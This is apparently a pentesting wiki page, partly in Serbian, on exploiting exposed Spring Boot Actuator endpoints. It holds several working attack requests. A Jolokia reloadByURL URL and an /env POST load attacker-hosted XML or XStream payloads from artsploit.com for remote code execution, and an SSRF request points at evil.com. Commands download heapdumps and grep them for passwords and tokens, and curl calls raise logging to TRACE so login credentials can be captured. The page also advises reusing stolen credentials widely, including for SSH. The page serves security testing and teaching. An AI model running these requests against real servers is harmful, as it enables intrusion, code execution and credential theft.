# Spring Actuators

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## **Spring Auth Bypass**

<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>

**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)

## Exploiting Spring Boot Actuators

**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Key Points:**

- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.

### **Exploitation Techniques:**

1. **Remote Code Execution via '/jolokia'**:
- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:

- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
- Example exploit POST request:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```

3. **Other Useful Settings**:
- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.

### **Additional Information:**

- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

### **Related Topics:**

1.  **Env + H2 RCE**:
- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## Ispitivanje HeapDump-a za secrets (credentials, tokens, internal URLs)

Ako je `/actuator/heapdump` izložen, obično možete preuzeti kompletan JVM heap snapshot koji često sadrži live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, itd.).

- Preuzimanje i brza trijaža:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```

- Dublja analiza pomoću VisualVM i OQL:
- Otvorite heapdump u VisualVM, pregledajte instance `java.lang.String` ili pokrenite OQL da biste tražili secrets:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```

- Automatizovano izvlačenje pomoću JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Tipični visokovredni nalazi:
- Spring `DataSourceProperties` / `HikariDataSource` objekti koji otkrivaju `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entiteti koji otkrivaju `management.endpoints.web.exposure.include`, portove servisa i ugrađeni Basic-Auth u URL-ovima (npr. Eureka `defaultZone`).
- Fragmente plain HTTP request/response koji uključuju `Authorization: Basic ...` uhvaćene u memoriji.

Saveti:
- Koristite wordlist fokusiran na Spring da brzo otkrijete actuator endpoint-e (npr. SecLists spring-boot.txt) i uvek proverite da li su `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, i `/actuator/configprops` takođe izloženi.
- Credentials iz heapdump-a često rade za susedne servise i ponekad za system users (SSH), pa ih probajte široko.


## Zloupotreba Actuator loggers/logging za hvatanje credentials

Ako `management.endpoints.web.exposure.include` to dozvoljava i `/actuator/loggers` je izložen, možete dinamički povećati nivoe logovanja na DEBUG/TRACE za pakete koji obrađuju authentication i request processing. U kombinaciji sa čitljivim logovima (putem `/actuator/logfile` ili poznatih putanja), ovo može leak credentials koji su poslati tokom login flow-ova (npr. Basic-Auth headers ili form parameters).

- Enumerišite i pojačajte osetljive loggere:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```

- Pronađite gde se logovi pišu i sakupljajte:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```

- Pokrenite login/authentication traffic i parsirajte log za creds. U microservice okruženjima sa gateway-jem ispred auth, omogućavanje TRACE za gateway/security pakete često čini headers i form bodies vidljivim. Neka okruženja čak generišu sintetički login traffic periodično, što čini sakupljanje trivialnim kada je logovanje verbose.

Napomene:
- Resetujte nivoe logovanja kada završite: `POST /actuator/loggers/<logger>` sa `{ "configuredLevel": null }`.
- Ako je `/actuator/httpexchanges` izložen, on takođe može izbaciti recent request metadata koji može uključivati sensitive headers.


## References

- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)

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